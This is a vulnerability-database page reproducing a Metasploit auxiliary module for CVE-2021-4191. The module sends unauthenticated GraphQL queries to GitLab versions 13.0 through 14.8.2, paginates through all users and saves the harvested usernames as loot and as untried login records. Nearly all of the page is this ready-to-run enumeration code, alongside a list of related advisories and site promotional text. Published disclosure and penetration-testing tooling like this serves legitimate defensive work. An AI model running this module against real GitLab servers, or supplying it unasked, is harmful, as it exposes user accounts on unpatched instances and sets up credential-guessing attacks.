Lucene search
K

GitLab GraphQL API User Enumeration

🗓️ 01 Sep 2024 00:00:00Reported by jbaines-r7, mungsul, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 304 Views

Queries GitLab GraphQL API to obtain user list CVE-2021-4191 on versions 13.0 to 14.8.2, 14.7.4, 14.6.5

Related
Code
ReporterTitlePublishedViews
Family
FreeBSD
Gitlab -- multiple vulnerabilities
25 Feb 202200:00
freebsd
Gitee
Exploit for CVE-2021-4191
20 Aug 202414:39
gitee
GithubExploit
Exploit for CVE-2021-4191
10 Oct 202501:53
githubexploit
Circl
CVE-2021-4191
4 Mar 202211:22
circl
CNNVD
GitLab Enterprise Edition和GitLab Community Edition 授权问题漏洞
28 Feb 202200:00
cnnvd
CVE
CVE-2021-4191
28 Mar 202218:53
cve
Cvelist
CVE-2021-4191
28 Mar 202218:53
cvelist
Debian CVE
CVE-2021-4191
28 Mar 202218:53
debiancve
Tenable Nessus
FreeBSD : Gitlab -- multiple vulnerabilities (2823048d-9f8f-11ec-8c9c-001b217b3468)
10 Mar 202200:00
nessus
Tenable Nessus
GitLab 13.0 < 14.6.5 / 14.7 < 14.7.4 / 14.8 < 14.8.2 (CVE-2021-4191)
14 Mar 202200:00
nessus
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'GitLab GraphQL API User Enumeration',  
'Description' => %q{  
This module queries the GitLab GraphQL API without authentication  
to acquire the list of GitLab users (CVE-2021-4191). The module works  
on all GitLab versions from 13.0 up to 14.8.2, 14.7.4, and 14.6.5.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'jbaines-r7', # Independent discovery and Metasploit module  
'mungsul' # Independent discovery  
],  
'References' => [  
[ 'CVE', '2021-4191' ],  
[ 'URL', 'https://about.gitlab.com/releases/2022/02/25/critical-security-release-gitlab-14-8-2-released/#unauthenticated-user-enumeration-on-graphql-api'],  
[ 'URL', 'https://www.rapid7.com/blog/post/2022/03/03/cve-2021-4191-gitlab-graphql-api-user-enumeration-fixed/']  
],  
'DisclosureDate' => '2022-02-25',  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'Reliability' => []  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
##  
# Send the GraphQL query to the /api/graphql endpoint. Despite being able to  
# extract significantly more information, this request will only request  
# usernames. The function will do some verification to ensure the received  
# payload is the expected JSON.  
#  
# @param after [String] The parameter is used for paging because GitLab will only  
# return 100 results at a time. If no paging is needed this should be empty.  
# @return [Hash] A Ruby Hash representation of the returned JSON data.  
##  
def do_request(after)  
graphql_query = '{"query": "query { users'  
unless after.empty?  
graphql_query += "(after:\\\"#{after}\\\")"  
end  
graphql_query.concat(' { pageInfo { hasNextPage, hasPreviousPage, endCursor, startCursor }, nodes { username } } }" }')  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/api/graphql'),  
'ctype' => 'application/json',  
'data' => graphql_query  
})  
  
fail_with(Failure::UnexpectedReply, "The target didn't respond with 200 OK") unless res&.code == 200  
fail_with(Failure::UnexpectedReply, "The target didn't respond with an HTTP body") unless res.body  
  
user_json = res.get_json_document  
fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if user_json.nil?  
  
nodes = user_json.dig('data', 'users', 'nodes')  
fail_with(Failure::UnexpectedReply, 'Could not find nodes in the JSON body') if nodes.nil?  
  
user_json  
end  
  
##  
# Parses the JSON data returned by the server. Adds the usernames to  
# the users array and adds them, indirectly, to create_credential_login.  
# This function also determines if we need to request more data from  
# the server.  
#  
# @param user_json [Hash] The JSON data provided by the server  
# @param users [Array] An array to store new usernames in  
# @return [String] An empty string or the "endCursor" to use with do_request  
##  
def parse_json(user_json, users)  
nodes = user_json.dig('data', 'users', 'nodes')  
return '' if nodes.nil?  
  
nodes.each do |node|  
username = node['username']  
store_username(username, node)  
users.push(username)  
end  
  
query_paging_info = ''  
more_data = user_json.dig('data', 'users', 'pageInfo', 'hasNextPage')  
if !more_data.nil? && more_data == true  
query_paging_info = user_json['data']['users']['pageInfo']['endCursor']  
end  
  
query_paging_info  
end  
  
def store_userlist(users, service)  
loot = store_loot('gitlab.users', 'text/plain', rhost, users, nil, 'GitLab Users', service)  
print_good("Userlist stored at #{loot}")  
end  
  
def store_username(username, json)  
connection_details = {  
module_fullname: fullname,  
workspace_id: myworkspace_id,  
username: username,  
proof: json,  
status: Metasploit::Model::Login::Status::UNTRIED  
}.merge(service_details)  
create_credential_and_login(connection_details)  
end  
  
##  
# Send an initial GraphQL request to the server and keep sending  
# requests until the server has no more data to give us.  
##  
def run_host(_ip)  
user_json = do_request('')  
  
service = report_service(  
host: rhost,  
port: rport,  
name: (ssl ? 'https' : 'http'),  
proto: 'tcp'  
)  
  
# parse the initial page  
users = []  
query_paging_info = parse_json(user_json, users)  
  
# handle any follow on pages  
request_count = 0  
until query_paging_info.empty?  
# periodically tell the user that we are still working. Start at 1 since one request already happened  
request_count += 1  
print_status("GraphQL API pagination request: #{request_count}") if request_count % 5 == 0  
user_json = do_request(query_paging_info)  
query_paging_info = parse_json(user_json, users)  
end  
  
if users.empty?  
print_error('No GitLab users were enumerated.')  
else  
print_good("Enumerated #{users.length} GitLab users")  
users_string = users.join("\n") + "\n"  
store_userlist(users_string, service)  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation